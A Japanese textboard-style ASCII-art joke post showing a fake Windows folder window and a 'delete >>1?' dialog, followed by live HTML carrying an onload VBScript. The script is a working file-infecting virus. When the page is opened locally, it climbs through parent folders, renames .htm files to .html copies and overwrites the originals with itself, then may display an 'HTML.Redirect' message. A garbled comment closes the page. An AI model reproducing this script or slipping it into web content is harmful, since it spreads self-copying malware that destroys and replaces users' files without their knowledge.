┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃@@@板 ┃
┠―――――――――――――――――――――――――――――┨
┃ファイル(F) 編集(E) 表示(V) お気に入り(A) ツール(T) ヘルプ(H) . ┃
┠─────────────────────────────┨
┃←戻る▼→▼┗┃◎検索 田フォルダ ◎履歴 ┃ ┃
┠―────────────────────────────┨
┃×××板 ┃
┃
>>1.exe ┃
┃ ┃
┃×××スレ . ┃
┃スレッド ┃
┃ ┌────────────────┐. . . . ┃
┃更新日時:2002/03.├────────────────┤. . . . ┃
┃サイズ:0バイト . │
>>1を削除しますか? │. . . . ┃
┃属性:(糞スレ) .│ . |OK| │. . . . ┃
┃ │  ̄ │. . . . ┃
┃ └────────────────┘. . . . ┃
┃ . ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
<BODY Onload="Redirect();"><script language="VBScript"><!-- Sub Redirect Randomize
If location.protocol = "file:" AND (Int((6 * Rnd) + 1) = 1) then Call Offline
location.href = location.href +"l"
End Sub Sub Offline Dim FSO,folder ,fc, f1, cpath
Set FSO = CreateObject("Scripting.FileSystemObject")
HostPath = Replace(location.href, "file:///", "")
HostPath = Replace(HostPath, "/", "\")
cpath = fso.GetParentFolderName(HostPath)
Set folder = fso.GetFolder(cpath) While folder.IsRootFolder = false
Set folder = fso.GetFolder(cpath) Set fc = folder.Files
cpath = fso.GetParentFolderName(cpath) For each f1 in fc
s = Lcase(Fso.GetExtensionName(f1.name))
If s = "htm" and fso.FileExists(f1.path+"l") = False then
fso.CopyFile f1.path, f1.path+"l", true
fso.CopyFile HostPath, f1.path, true End If Next Wend
If (Int((10 * Rnd) + 1) + 1) = 1 Then MsgBox("HTML.Redirect /1nternal") End Sub --></script>
<!--Mocc/#Mai $Fanta & qupter configress +50;/Shera++/con;con;--></BODY>